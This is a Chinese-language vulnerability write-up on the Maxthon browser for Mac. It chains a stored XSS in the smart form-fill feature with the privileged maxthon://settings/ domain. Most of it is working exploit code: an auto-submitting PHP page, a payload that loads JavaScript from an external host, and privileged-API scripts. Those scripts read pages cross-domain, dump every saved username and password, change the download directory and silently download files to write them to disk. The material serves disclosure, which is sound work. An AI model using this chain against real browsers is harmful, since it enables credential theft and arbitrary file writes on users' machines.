Mac下的傲游(Maxthon)其实是一个safari内核的浏览器,不过似乎阉割了太多功能,留下来的功能不多。

特权域XSS

首先XSS是由『智能填表』引入的。

如下POC,用户提交并点击保存为密码以后,即触发xss。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<title><img src=1 onerror=alert(1);></title>
</head>

<body>
<h2>Login</h2>
<form method="post">
<input type="text" name="username" />
<input type="password" name="password" />
<input type="submit" value="submit" />
</form>
</body>
</html>

这个XSS在特权域maxthon://settings/下,所以拥有很多特权,这个后面说。

构造Exploit

首先要构造一个可以引入外部js文件的Xss Payload。

经过测试发现,有如下几个问题:

1.我们使用的payload中不能包含”、’、\等字符,这些字符会被转换成url编码。所以我将外部js地址放在html属性name中,然后用this.name来获取.
2.经测试不能直接插入script标签。所以我在自带的js文件中找到一个$.ajax方法,此方法可以加载jsonp,正好用来载入外部js

最后构造payload如下:

1
<img src=1 name=http://mhz.pw/game/maxthon/maxthon.js onerror=$.ajax({dataType:/jsonp/.source,url:this.name})>

另外,这个XSS需要在设置页面下触发,所以需要自动化提转到设置页面。

可以用如下代码跳转到maxthon://域下:

1
2
3
4
5
try {
location.href="maxthon://settings/";
} catch(e) {
alert(e);
}

跳转过去以后即可触发XSS。

所以最终完整Exploit见 http://mhz.pw/game/maxthon/log.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html>
<head>
<title><img src=1 name=http://mhz.pw/game/maxthon/maxthon.js onerror=$.ajax({dataType:/jsonp/.source,url:this.name})></title>
<?php
$a = ($_SERVER["REQUEST_METHOD"] == "POST");
if($a):
?>
<script type="text/javascript">
try {
setTimeout(function(){
location.href="maxthon://settings/";
}, 3000);
} catch(e) {
alert(e);
}
</script>
<?php
endif;
?>
</head>
<body <?php if(!$a) { ?>onload="f.submit()"<?php } ?>>
<h2>Login</h2>
<form id="f" method="post">
<input type="text" name="username" value="aaaaaa" />
<input type="password" name="password" value="admin" />
<input type="submit" value="submit" />
</form>
</body>
</html>

表单自动提交。用户点击『保存』以后,过一会就会跳转到maxthon://setting/并触发特权域XSS。总过程用户只用点击一次。

特权域API

有了特权域的XSS,就可以特权域特权域API来做一些事了。http://mhz.pw/game/maxthon/maxthon.js中写入如下代码即可。

后台打开URL:

1
2
3
maxthon.send('OpenURL', ['http://**.**.**.**/', false]);
//下面这个会让浏览器崩
maxthon.send('LoadURL', ['http://**.**.**.**/', false]);

跨域读取信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// url组装
function parseData(url, data) {
var ret = '';
if (typeof data === 'object') {
for(var key in data) {
ret += '&' + key + '=' + encodeURIComponent(data[key]);
}
ret = ret.substr(1);
} else if (typeof data === 'string') {
ret = data;
}
return url + (url.indexOf('?') === -1 ? '?': '&') + ret;
}

function sendGet(arg) {
var url = arg.url, data = arg.data, success = arg.success, error = arg.error;
var timer, mark = true, xht = new XMLHttpRequest();
url = parseData(url, data);
// 15秒内无响应返回错误
timer = setTimeout(function () {
mark = false;
error && error(data);
}, 15000);

xht.onreadystatechange = function (){
clearTimeout(timer);
mark && xht.readyState == 4 && xht.status == 200 && success(xht.responseText);
}

xht.open('GET', url, true);
xht.send(null);
}

sendGet({
dataType: '123',
url: "http://**.**.**.**/",
success: function(content) {
alert(content);
}
});

获取所有保存的密码

1
2
3
4
5
6
7
8
var module = register('magic-fill');
var info = "";
module.send('MFGetAllInfo', function(data){
for(var i in data) {
info += ('url: ' + data[i].signon + ' username: ' + data[i].username + ' password: ' + data[i].password + '\n');
}
alert(info);
});

获取/设置下载目录 + 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
//获取下载目录
var module = register('basis');
function download_path(downloadPath) {
alert(downloadPath)
}
module.send('get', 'download_path', download_path);

//设置下载目录
var module = register('basis');
module.send('set', 'download_path', '/Users/phithon/Downloads');

//静默下载文件,导致任意文件写入
maxthon.send('OpenURL', ['http://mhz.pw/game/maxthon/top3000.zip', false]);